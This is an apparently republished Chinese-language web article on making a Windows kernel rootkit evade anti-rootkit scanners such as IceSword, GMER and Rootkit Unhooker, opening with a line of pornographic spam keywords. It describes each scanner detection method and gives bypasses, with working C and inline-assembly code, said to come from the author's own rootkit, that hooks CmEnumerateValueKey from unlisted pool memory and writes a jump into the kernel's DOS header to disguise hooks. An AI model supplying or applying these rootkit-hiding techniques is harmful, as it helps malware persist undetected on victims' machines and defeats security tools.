中文字幕在线观看,亚洲а∨天堂久久精品9966,亚洲成a人片在线观看你懂的,亚洲av成人片无码网站,亚洲国产精品无码久久久五月天

繞過(guò)Anti-Rookit的內(nèi)核模塊掃描技巧

2017-11-30    來(lái)源:

容器云強(qiáng)勢(shì)上線!快速搭建集群,上萬(wàn)Linux鏡像隨意使用

  本文描述了一些方法,可以繞過(guò)目前主流的現(xiàn)代Anti-rootkit工具,包括但不限于:Icesword 最新版、Gmer最新版、Rootkit unhooker 最新版、DarkSpy 最新版以及AVG Anti-rootkit最新版等等

  目前的anti-rootkit工具中,對(duì)于內(nèi)核模塊主要采用如下幾種掃描方式:

  1.恢復(fù)ZwQuerySystemInformation的hook,然后利用功能號(hào)SystemModuleInformation進(jìn)行枚舉,例如Icesword。

  2.遍歷PsLoadModuleList,Driver/Device/Section Object鏈,或者TypeList鏈等(總之是找驅(qū)動(dòng)相關(guān)對(duì)象)進(jìn)行枚舉,例如Rootkit Unhooker,Gmer等。

  3.內(nèi)核鏡象暴力搜索,搜索MZ,PE等等標(biāo)志結(jié)合進(jìn)行判斷內(nèi)存里是否有PE鏡象,如rootkit unhooker,rutkowska的modgreper等,通常只能顯示為unknow image

  4.函數(shù)引用,各種routine\hook等,先HOOK一些常用函數(shù),然后當(dāng)驅(qū)動(dòng)去調(diào)用這些函數(shù)時(shí),記下其地址,檢測(cè)時(shí)使用,或者是根據(jù)各種routine­(dispatch routine,IDT,Image Notfiy等)或各種hook(inline hook,iat/eat hook等等),通常只能顯示為unknow image或unknow xxx handler等

  5.使用系統(tǒng)ImageLoad Notfiy,使用一個(gè)BOOT驅(qū)動(dòng),記錄所有模塊load的消息,檢測(cè)時(shí)進(jìn)行分析 如AVG Anti-rootkit等

  先說(shuō)繞過(guò)1,2,3,5的辦法

  很簡(jiǎn)單,使用諸如ZwSetSystemInformation的函數(shù)加載驅(qū)動(dòng),然后在DriverEntry中分配NonPagedPool的內(nèi)存,然后將功­能代碼/函數(shù)copy到該內(nèi)存中,然后進(jìn)行必要的HOOK,最后返回STATUS_UNSUCCESSFULL.

  這樣驅(qū)動(dòng)在PsLoadModuleList、各種對(duì)象鏈里就消失了,自然也就不存在于ZwQuerySystemInformation枚舉的列表里。需要注意的是,copy到內(nèi)存中的代碼要盡量簡(jiǎn)單,基本不會(huì)生成需要重定位的代碼了,但調(diào)用系統(tǒng)函數(shù)還是要另想辦法。我的某個(gè)RK里是這樣做的,例如A Function用來(lái)hook 系統(tǒng)函數(shù)B,其中需要調(diào)用系統(tǒng)函數(shù)C,那么分配一塊內(nèi)存,大小= len(A) + sizeof(ULONG) * 2

在內(nèi)存的前兩個(gè)DWORD放OrgB,以及C的地址,后面開(kāi)始放函數(shù)代碼,函數(shù)中使用call +5 對(duì)自身的位置進(jìn)行定位,找到內(nèi)存開(kāi)始的位置,然后得到OrgB和C。當(dāng)然也可以在COPY入內(nèi)存前自己用絕對(duì)地址定位函數(shù)~不過(guò)不如這個(gè)方法靈活

  相關(guān)代碼:

//hook call CmEnumerateValueKey
  void InstallCMRegHook()
  {
  PVOID _CmEnumerateKeyValueLoc ;
  _CmEnumerateKeyValueLoc = FindCmEnumerateValueKey();
  //找到 call CmEnumerateValueKey
  HookCodeLen = (ULONG)NopFunc8 - (ULONG)NewCmEnumerateValueKey ;
  //獲得NewCmEnumerateValueKey長(zhǎng)度
  HookCode3 = ExAllocatePoolWithTag(NonPagedPool ,
  HookCodeLen + 4 ,
  MEM_TAG_HOOKCODE3);
  //分配內(nèi)存
  *(ULONG*)HookCode3 = *(ULONG*)_CmEnumerateKeyValueLoc ;
  //原函數(shù)地址放入內(nèi)存
  RtlCopyMemory((PVOID)HookCode3 + sizeof(ULONG) , (PVOID)NewCmEnumerateValueKey ,HookCodeLen);
  //copy函數(shù)代碼
  DO_SPINLOCK();
  *(ULONG*)_CmEnumerateValueKeyLoc = HookCode3 + sizeof(ULONG);
  //進(jìn)行HOOK
  EXIT_SPINLOCK();
  return ;
  }
  NTSTATUS NewCmEnumearateValueKey(IN PVOID KeyControlBlock,
  IN ULONG Index,
  IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass,
  IN PVOID KeyValueInformation,
  IN ULONG KeyLength,
  IN PULONG ResultLength
  )
  {
  //下面找到本函數(shù)開(kāi)始地址,并獲得保存在內(nèi)存中的OrgCmEnumerateValueKey的地址
  __asm
  {
  push eax
  call __
  __:
  POP eax
  SUB eax,offset __
  add eax,offset NewCmEnumearateValueKey
  ;獲得函數(shù)開(kāi)始地址
  sub eax,4
  mov eax,[eax]
  ;獲得OrgCmEnumerateValueKey
  push ResultLength
  push KeyLength
  push KeyValueInformation
  push KeyValueInformationClass
  push Index
  push KeyControlBlock
  call eax
  mov stat, eax
  ;調(diào)用原始函數(shù)
  pop eax
  }
  //.....其他處理
  //
  //.....
  }
  void NopFunc8()
  {
  __asm
  {
  nop
  nop
  nop
  }
  return ;
  }
  //上面這個(gè)NopFunc用于NewCmEumerateValueKey函數(shù)長(zhǎng)度定位


  這樣,基于ZwQuerySystemInformation,PsLoadModuleList,對(duì)象目錄,Type鏈,ImageLoad,暴力PE搜索(­因?yàn)槲覀儔焊蜎](méi)有PE鏡象,just one piece of code~)...

  接下來(lái)看如何繞過(guò)4.中的檢測(cè)方式

  1.Hook常用函數(shù):這個(gè)很簡(jiǎn)單了,恢復(fù)自己要用的函數(shù)~或者壓根就不用那些函數(shù),HOOK代碼大部分都是數(shù)據(jù)過(guò)濾/處理部分,所以完全可以一個(gè)系統(tǒng)函數(shù)也不­調(diào)...

  2.各種routine檢測(cè),這個(gè)可以用多次跳轉(zhuǎn)方式搞定,例如Dispatch hook,因?yàn)楂@取各種DRIVER的DISPATCH 原始地址沒(méi)有比較通用的方法,所以檢測(cè)dispatch是否被HOOK的方式通常都是檢測(cè)其地址是否在其模塊的Code Section中(類似的還有object hook,pxxxx hook等),使用此方法的例如rootkit unhooker, gmer等。只要我們先使用這樣的方法,就可以繞過(guò)檢測(cè),讓Anti-rootkit工具不知道是我們的模塊HOOK了這里:

  先將dispatch地址跳轉(zhuǎn)到code section中不用的部分,5個(gè)字節(jié)就足夠了,然后在這5個(gè)字節(jié)里使用jmp指令再跳到我們的模塊里,這樣Anti-rootkit工具檢測(cè)時(shí),就會(huì)發(fā)現(xiàn)di­spatch routine仍然在該模塊的code section中,通過(guò)這種方法也可以繞過(guò)對(duì)dispatch hook\object hook的檢測(cè)。

  inline hook/iat/eat hook也可以用類似的方法來(lái)躲過(guò)模塊檢測(cè),不過(guò)無(wú)法避免HOOK被檢測(cè)到。

  即使Anti-rootkit工具使用更復(fù)雜的算法,對(duì)各個(gè)routine進(jìn)行深度代碼級(jí)掃描,我們也可以通過(guò)復(fù)雜邏輯/代碼,將我們的最后跳轉(zhuǎn)地址藏起來(lái)。

  一個(gè)簡(jiǎn)單的雙段跳繞過(guò)object hook檢測(cè)的代碼:

  object hook方法因?yàn)槲幢还_(kāi)過(guò),故細(xì)節(jié)略去,方便起見(jiàn),沒(méi)有寫(xiě)找code section的代碼,直接將跳轉(zhuǎn)代碼寫(xiě)到了ntoskrnl的DOS Header中

  同樣來(lái)自于我的某RK:

ULONG InsideHookCode(ULONG NewAddress , ULONG BaseCode )
  {
  //該函數(shù)用于將hook代碼轉(zhuǎn)接到模塊的DOS頭中
  //in :NewAddress: real hookcode to jump
  //in :ModuleName: kernel module base address to inject
  //out :NewJump Address
  ULONG TempCode = BaseCode ;
  TempCode = TempCode + sizeof(IMAGE_DOS_HEADER) ;
  //into DOS stub
  DO_SPINLOCK();
  WPOFF();
  *(BYTE*)TempCode = 0xe9 ;
  __asm
  {
  push eax
  push ecx
  mov ecx, TempCode
  mov eax, NewAddress
  sub eax, ecx
  sub eax, 5
  mov dword ptr[ecx+1] , eax
  pop ecx
  pop eax
  }
  WPON();
  EXIT_SPINLOCK();
  //write jmp NewAddress into DOS stub
  return TempCode ;
  }

標(biāo)簽: isp 代碼 搜索

版權(quán)申明:本站文章部分自網(wǎng)絡(luò),如有侵權(quán),請(qǐng)聯(lián)系:west999com@outlook.com
特別注意:本站所有轉(zhuǎn)載文章言論不代表本站觀點(diǎn)!
本站所提供的圖片等素材,版權(quán)歸原作者所有,如需使用,請(qǐng)與原作者聯(lián)系。

上一篇:教你如何用手工迅速剿滅QQ廣告彈出木馬

下一篇:Win32.Troj.Clicker.hl